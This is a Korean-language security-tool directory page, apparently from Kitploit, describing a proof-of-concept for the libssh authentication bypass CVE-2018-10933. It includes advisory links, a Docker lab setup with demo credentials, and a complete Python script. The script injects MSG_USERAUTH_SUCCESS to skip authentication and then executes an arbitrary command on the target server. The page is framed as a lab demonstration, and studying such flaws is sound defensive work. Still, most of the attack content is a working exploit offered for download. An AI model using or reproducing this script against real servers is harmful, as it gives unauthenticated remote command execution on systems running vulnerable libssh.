Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
Libssh-server-CVE-2018-10933 — MSG_USERAUTH_SUCCESS 주입을 통한 SSH 인증 우회를 시연하는 CVE-2018-10933 개념 증명 익스플로잇입니다. Docker 설정 및 원격 명령 실행을 위한 Python 스크립트를 포함합니다. | Kitploit
도구/GitHubGitHub/cyberharsh/libssh-server-cve-2018-10933
Vulnerability AnalysisExploitationNetwork SecurityPenetration TestingAuthenticationBinary Exploitation
GitHubcyberharsh/libssh-server-cve-2018-10933

Libssh-server-CVE-2018-10933

MSG_USERAUTH_SUCCESS 주입을 통한 SSH 인증 우회를 시연하는 CVE-2018-10933 개념 증명 익스플로잇입니다. Docker 설정 및 원격 명령 실행을 위한 Python 스크립트를 포함합니다.

저장소 보기
16년 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

libssh 인증 우회 취약점(CVE-2018-10933)

中文版本(중국어 버전)

libssh는 클라이언트 및 서버 측에서 SSHv2 프로토콜을 구현하는 멀티플랫폼 C 라이브러리입니다. libssh의 서버 측 상태 머신에서 로직 취약점이 발견되었습니다. 공격자는 인증이 성공하기 전에 MSG_USERAUTH_SUCCESS 메시지를 보낼 수 있습니다. 이를 통해 인증을 우회하고 대상 SSH 서버에 접근할 수 있습니다.

참조:

  • https://www.libssh.org/security/advisories/CVE-2018-10933.txt
  • https://www.seebug.org/vuldb/ssvid-97614

설정

환경을 시작합니다:

root@kitploit:~
docker-compose up -d

환경이 시작된 후, your-ip:2222 포트에 연결할 수 있습니다 (계정 비밀번호: myuser:mypassword). 이는 정상적인 ssh 로그인입니다:

익스플로잇

https://www.seebug.org/vuldb/ssvid-97614에 제공된 POC를 참조하여, 다음 스크립트를 사용해 취약점을 입증할 수 있습니다.

root@kitploit:~
#!/usr/bin/env python3
import sys
import paramiko
import socket
import logging

logging.basicConfig(stream=sys.stdout, level=logging.DEBUG)
bufsize = 2048


def execute(hostname, port, command):
    sock = socket.socket()
    try:
        sock.connect((hostname, int(port)))

        message = paramiko.message.Message()
        transport = paramiko.transport.Transport(sock)
        transport.start_client()

        message.add_byte(paramiko.common.cMSG_USERAUTH_SUCCESS)
        transport._send_message(message)

        client = transport.open_session(timeout=10)
        client.exec_command(command)

        # stdin = client.makefile("wb", bufsize)
        stdout = client.makefile("rb", bufsize)
        stderr = client.makefile_stderr("rb", bufsize)

        output = stdout.read()
        error = stderr.read()

        stdout.close()
        stderr.close()

        return (output+error).decode()
    except paramiko.SSHException as e:
        logging.exception(e)
        logging.debug("TCPForwarding disabled on remote server can't connect. Not Vulnerable")
    except socket.error:
        logging.debug("Unable to connect.")

    return None


if __name__ == '__main__':
    print(execute(sys.argv[1], sys.argv[2], sys.argv[3]))

다음과 같이 대상 서버에서 임의의 명령을 실행할 수 있습니다:

도구 다운로드